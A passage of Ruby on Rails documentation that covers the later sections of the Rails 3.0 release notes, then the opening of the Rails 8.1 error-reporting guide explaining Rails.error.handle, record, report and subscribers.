As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.

### [1.3. script/\* replaced by script/rails](#script-replaced-by-script-rails)

The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

```
$ rails console                      # instead of script/console
$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
```

Run `rails --help` for a list of all the options.

### [1.4. Dependencies and config.gem](#dependencies-and-config-gem)

The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.

### [1.5. Upgrade Process](#upgrade-process)

To help with the upgrade process, a plugin named [Rails Upgrade](https://github.com/rails/rails_upgrade) has been created to automate part of it.

Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

```
$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
```

You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](https://discuss.rubyonrails.org/c/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

## [2. Creating a Rails 3.0 application](#creating-a-rails-3-0-application)

```
# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```

### [2.1. Vendoring Gems](#vendoring-gems)

Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - [bundler homepage](https://bundler.io/)

### [2.2. Living on the Edge](#living-on-the-edge)

`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the `--edge` flag:

```
$ rails new myapp --edge
```

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:

```
$ ruby /path/to/rails/bin/rails new myapp --dev
```

## [3. Rails Architectural Changes](#rails-architectural-changes)

There are six major changes in the architecture of Rails.

### [3.1. Railties Restrung](#railties-restrung)

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

### [3.2. All Rails core components are decoupled](#all-rails-core-components-are-decoupled)

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)

### [3.3. Active Model Abstraction](#active-model-abstraction)

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)

### [3.4. Controller Abstraction](#controller-abstraction)

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views, etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)

### [3.5. Arel Integration](#arel-integration)

[Arel](https://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/)

### [3.6. Mail Extraction](#mail-extraction)

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](https://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)

## [4. Documentation](#documentation)

The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](https://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](https://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - [Rails Documentation Projects](https://rubyonrails.org/2009/1/15/rails-documentation-projects)

## [5. Internationalization](#internationalization)

A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](https://github.com/svenfuchs/i18n) gem supplying many speed improvements.

* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
* Attributes can have default translations.
* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
* Labels with I18n also now work by just passing the attribute name.

More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)

## [6. Railties](#railties)

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible:

* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.

* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.

* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.

  Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.

Railties generators got a huge amount of attention in Rails 3.0, basically:

* Generators were completely rewritten and are backwards incompatible.
* Rails templates API and generators API were merged (they are the same as the former).
* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.

Also, the views generated by Railties generators had some overhaul:

* Views now use `div` tags instead of `p` tags.
* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.

Finally a couple of enhancements were added to the rake tasks:

* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.

Railties now deprecates:

* `RAILS_ROOT` in favor of `Rails.root`,
* `RAILS_ENV` in favor of `Rails.env`, and
* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.

`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.

More information:

* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
* [The Rails Module (in Rails 3)](http://quaran.to/blog/2010/02/03/the-rails-module/)

## [7. Action Pack](#action-pack)

There have been significant internal and external changes in Action Pack.

### [7.1. Abstract Controller](#abstract-controller)

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)

### [7.2. Action Controller](#action-controller)

* `application_controller.rb` now has `protect_from_forgery` on by default.
* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
* `ActionController::Responder` added allowing you flexibility in how your responses get generated.

Deprecations:

* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.

More Information:

* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3)
* [Three reasons to love ActionController::Responder](https://rubyonrails.org/2009/8/31/three-reasons-love-responder)

### [7.3. Action Dispatch](#action-dispatch)

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.

* Routes defined by each application are now name spaced within your Application module, that is:

  ```
  # Instead of:

  ActionController::Routing::Routes.draw do |map|
    map.resources :posts
  end

  # You do:

  AppName::Application.routes do
    resources :posts
  end
  ```

* Added `match` method to the router, you can also pass any Rack application to the matched route.

* Added `constraints` method to the router, allowing you to guard routers with defined constraints.

* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:

  ```
  scope 'es' do
    resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
  end

  # Gives you the edit action with /es/proyecto/1/cambiar
  ```

* Added `root` method to the router as a short cut for `match '/', :to => path`.

* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.

* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.

The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "\_" at the end of the given value.

More Information: \* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) \* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0) \* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)

### [7.4. Action View](#action-view)

#### [7.4.1. Unobtrusive JavaScript](#unobtrusive-javascript)

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](https://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:

```
form_for @post, :remote => true
```

Produces:

```
<form action="http://host.com" id="create-post" method="post" data-remote="true">
```

#### [7.4.2. Helpers with Blocks](#helpers-with-blocks)

Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:

```
<%= form_for @post do |f| %>
  ...
<% end %>
```

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `&lt;%` as before.

#### [7.4.3. Other Changes](#other-changes)

* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
* Helpers now output HTML5 by default.
* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
* I18n select label on should now be :en.helpers.select instead of :en.support.select.
* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
* Added `grouped_collection_select` helper to Action View.
* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute

## [8. Active Model](#active-model)

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

### [8.1. ORM Abstraction and Action Pack Interface](#orm-abstraction-and-action-pack-interface)

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)

### [8.2. Validations](#validations)

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.

* The `validates` method has the following options:

  * `:acceptance => Boolean`.
  * `:confirmation => Boolean`.
  * `:exclusion => { :in => Enumerable }`.
  * `:inclusion => { :in => Enumerable }`.
  * `:format => { :with => Regexp, :on => :create }`.
  * `:length => { :maximum => Fixnum }`.
  * `:numericality => Boolean`.
  * `:presence => Boolean`.
  * `:uniqueness => Boolean`.

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

```
class TitleValidator < ActiveModel::EachValidator
  Titles = ['Mr.', 'Mrs.', 'Dr.']
  def validate_each(record, attribute, value)
    unless Titles.include?(value)
      record.errors[attribute] << 'must be a valid title'
    end
  end
end
```

```
class Person
  include ActiveModel::Validations
  attr_accessor :title
  validates :title, :presence => true, :title => true
end

# Or for Active Record

class Person < ActiveRecord::Base
  validates :title, :presence => true, :title => true
end
```

There's also support for introspection:

```
User.validators
User.validators_on(:login)
```

More Information:

* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/)
* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true)

## [9. Active Record](#active-record)

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

### [9.1. Query Interface](#query-interface)

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

* `where` - provides conditions on the relation, what gets returned.
* `select` - choose what attributes of the models you wish to have returned from the database.
* `group` - groups the relation on the attribute supplied.
* `having` - provides an expression limiting group relations (GROUP BY constraint).
* `joins` - joins the relation to another table.
* `clause` - provides an expression limiting join relations (JOIN constraint).
* `includes` - includes other relations pre-loaded.
* `order` - orders the relation based on the expression supplied.
* `limit` - limits the relation to the number of records specified.
* `lock` - locks the records returned from the table.
* `readonly` - returns an read only copy of the data.
* `from` - provides a way to select relationships from more than one table.
* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
* `default_scope` - also works with relations.

More Information:

* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface)
* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)

### [9.2. Enhancements](#enhancements)

* Added `:destroyed?` to Active Record objects.
* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.

### [9.3. Patches and Deprecations](#patches-and-deprecations)

Additionally, many fixes in the Active Record branch:

* SQLite 2 support has been dropped in favor of SQLite 3.
* MySQL support for column order.
* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
* Support multiple schemas in table names for PostgreSQL.
* PostgreSQL support for the XML data type column.
* `table_name` is now cached.
* A large amount of work done on the Oracle adapter as well with many bug fixes.

As well as the following deprecations:

* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
* `save(false)` is deprecated, in favor of `save(:validate => false)`.
* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`.
* `model.errors.on` is deprecated in favor of `model.errors[]`
* validates\_presence\_of => validates... :presence => true
* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

## [10. Active Resource](#active-resource)

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

* Added validations through Active Model.
* Added observing hooks.
* HTTP proxy support.
* Added support for digest authentication.
* Moved model naming into Active Model.
* Changed Active Resource attributes to a Hash with indifferent access.
* Added `first`, `last` and `all` aliases for equivalent find scopes.
* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
* `update_attribute` and `update_attributes` added to Active Resource models.
* Added `exists?`.
* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
* Use `instance_eval` for schema block.
* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
* Add support for errors in JSON format.
* Ensure `load` works with numeric arrays.
* Recognizes a 410 response from remote resource as the resource has been deleted.
* Add ability to set SSL options on Active Resource connections.
* Setting connection timeout also affects `Net::HTTP` `open_timeout`.

Deprecations:

* `save(false)` is deprecated, in favor of `save(:validate => false)`.
* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.

## [11. Active Support](#active-support)

A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

* Large clean up of the library removing unused methods throughout.
* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command.
* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
* Added `Array.uniq_by` and `Array.uniq_by!`.
* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
* Added `ActiveSupport::Notifications` middleware.
* `ActiveSupport.use_standard_json_time_format` now defaults to true.
* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
* `string.chars` has been renamed to `string.mb_chars`.
* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
* Added `String#exclude?` core extension that returns the inverse of `#include?`.
* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
* Switch to on-by-default XSS escaping for rails.
* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
* Add `element` and `collection` to `ModelName`.
* `String#to_time` and `String#to_datetime` handle fractional seconds.
* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`.
* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

* `Integer#even?` and `Integer#odd?`
* `String#each_char`
* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
* `String#bytesize`
* `Object#tap`
* `Symbol#to_proc`
* `Object#instance_variable_defined?`
* `Enumerable#none?`

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

* `Kernel#daemonize`
* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
* `Class#remove_class`
* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`

## [12. Action Mailer](#action-mailer)

Action Mailer has been given a new API with TMail being replaced out with the new [Mail](https://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

* All mailers are now in `app/mailers` by default.
* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
* Action Mailer now has native support for inline attachments using the `attachments.inline` method.
* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
* All delivery methods are now abstracted out to the Mail gem.
* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
* What were mailer unit tests have been moved to functional tests.
* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
* Action Mailer will auto encode email bodies and headers for you

Deprecations:

* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
* Mailers being in `app/models` is deprecated, use `app/mailers` instead.

More Information:

* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released)

## [13. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/error_reporting.html
----

***

## [1. Error Reporting](#error-reporting)

The Rails [error reporter](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html) provides a standard way to collect errors that occur in your application and report them to your preferred service or location (e.g. you could report the errors to a monitoring service such as Sentry).

It aims to replace boilerplate error-handling code like this:

```
begin
  do_something
rescue SomethingIsBroken => error
  MyErrorReportingService.notify(error)
end
```

with a consistent interface:

```
Rails.error.handle(SomethingIsBroken) do
  do_something
end
```

Rails wraps all executions (such as HTTP requests, [jobs](active_job_basics.html), and [rails runner](command_line.html#bin-rails-runner) invocations) in the error reporter, so any unhandled errors raised in your app will automatically be reported to your error-reporting service via their subscribers.

For HTTP requests, errors present in `ActionDispatch::ExceptionWrapper.rescue_responses` are not reported as they do not result in server errors (500) and generally aren't bugs that need to be addressed.

This means that third-party error-reporting libraries no longer need to insert a [Rack](rails_on_rack.html) middleware or do any monkey-patching to capture unhandled errors. Libraries that use [Active Support](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport.html) can also use this to non-intrusively report warnings that would previously have been lost in logs.

Using the Rails error reporter is optional, as other means of capturing errors still work.

### [1.1. Subscribing to the Reporter](#subscribing-to-the-reporter)

To use the error reporter with an external service, you need a *subscriber*. A subscriber can be any Ruby object with a `report` method. When an error occurs in your application or is manually reported, the Rails error reporter will call this method with the error object and some options.

Some error-reporting libraries, such as Sentry's and Honeybadger's, automatically register a subscriber for you.

You may also create a custom subscriber. For example:

```
# config/initializers/error_subscriber.rb
class ErrorSubscriber
  def report(error, handled:, severity:, context:, source: nil)
    MyErrorReportingService.report_error(error, context: context, handled: handled, level: severity)
  end
end
```

After defining the subscriber class, you can register it by calling the [`Rails.error.subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe) method:

```
Rails.error.subscribe(ErrorSubscriber.new)
```

You can register as many subscribers as you wish. Rails will call them in the order in which they were registered.

It is also possible to unregister a subscriber by calling [`Rails.error.unsubscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe). This may be useful if you'd like to replace or remove a subscriber added by one of your dependencies. Both `subscribe` and `unsubscribe` can take either a subscriber or a class as follows:

```
subscriber = ErrorSubscriber.new
Rails.error.unsubscribe(subscriber)
# or
Rails.error.unsubscribe(ErrorSubscriber)
```

The Rails error reporter will always call registered subscribers, regardless of your environment. However, many error-reporting services only report errors in production by default. You should configure and test your setup across environments as needed.

### [1.2. Using the Error Reporter](#using-the-error-reporter)

Rails error reporter has four methods that allow you to report methods in different ways:

* `Rails.error.handle`
* `Rails.error.record`
* `Rails.error.report`
* `Rails.error.unexpected`

#### [1.2.1. Reporting and Swallowing Errors](#reporting-and-swallowing-errors)

The [`Rails.error.handle`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-handle) method will report any error raised within the block. It will then **swallow** the error, and the rest of your code outside the block will continue as normal.

```
result = Rails.error.handle do
  1 + "1" # raises TypeError
end
result # => nil
1 + 1 # This will be executed
```

If no error is raised in the block, `Rails.error.handle` will return the result of the block, otherwise it will return `nil`. You can override this by providing a `fallback`:

```
user = Rails.error.handle(fallback: -> { User.anonymous }) do
  User.find(params[:id])
end
```

#### [1.2.2. Reporting and Re-raising Errors](#reporting-and-re-raising-errors)

The [`Rails.error.record`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-record) method will report errors to all registered subscribers and then **re-raise** the error, meaning that the rest of your code won't execute.

```
Rails.error.record do
  1 + "1" # raises TypeError
end
1 + 1 # This won't be executed
```

If no error is raised in the block, `Rails.error.record` will return the result of the block.

#### [1.2.3. Manually Reporting Errors](#manually-reporting-errors)

You can also manually report errors by calling [`Rails.error.report`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-report):

```
begin
  # code
rescue StandardError => e
  Rails.error.report(e)
end
```

Any options you pass will be passed on to the error subscribers.

#### [1.2.4. Reporting Unexpected Errors](#reporting-unexpected-errors)

You can report any unexpected error by calling [`Rails.error.unexpected`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected).

When called in production, this method will return nil after the error is reported and the execution of your code will continue.

When called in development or test, the error will be wrapped in a new error class (to ensure it's not being rescued higher in the stack) and surfaced to the developer for debugging.

For example:

```
def edit
  if published?
    Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible")
    false
  end
  # ...
end
```

This method is intended to gracefully handle any errors that may occur in production, but that aren't anticipated to be the result of typical use.

### [1.3. Error-reporting Options](#error-reporting-options)

The reporting APIs `#handle`, `#record`, and `#report` support the following options, which are then passed along to all registered subscribers:

* `handled`: a `Boolean` to indicate if the error was handled. This is set to `true` by default. `#record` sets this to `false`.
* `severity`: a `Symbol` describing the severity of the error. Expected values are: `:error`, `:warning`, and `:info`. `#handle` sets this to `:warning`, while `#record` sets it to `:error`.
* `context`: a `Hash` to provide more context about the error, like request or user details
* `source`: a `String` about the source of the error. The default source is `"application"`. Errors reported by internal libraries may set other sources; the Redis cache library may use `"redis_cache_store.active_support"`, for instance. Your subscriber can use the source to ignore errors you aren't interested in.

```
Rails.error.handle(context: { user_id: user.id }, severity: :info) do
  # ...
end
```

### [1.4. Setting Context Globally](#setting-context-globally)

In addition to setting context through the `context` option, you can use [`Rails.error.set_context`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-set_context). For example:

```
Rails.error.set_context(section: "checkout", user_id: @user.id)
```

Any context set this way will be merged with the `context` option

```
Rails.error.set_context(a: 1)
Rails.error.handle(context: { b: 2 }) { raise }
# The reported context will be: {:a=>1, :b=>2}
Rails.error.handle(context: { b: 3 }) { raise }
# The reported context will be: {:a=>1, :b=>3}
```

### [1.5. Filtering by Error Classes](#filtering-by-error-classes)

With `Rails.error.handle` and `Rails.error.record`, you can also choose to only report errors of certain classes. For example:

```
Rails.error.handle(IOError) do
  1 + "1" # raises TypeError
end
1 + 1 # TypeErrors are not IOErrors, so this will *not* be executed
```

Here, the `TypeError` will not be captured by the Rails error reporter. Only instances of `IOError` and its descendants will be reported. Any other errors will be raised as normal.

### [1.6. Disabling Notifications](#disabling-notifications)

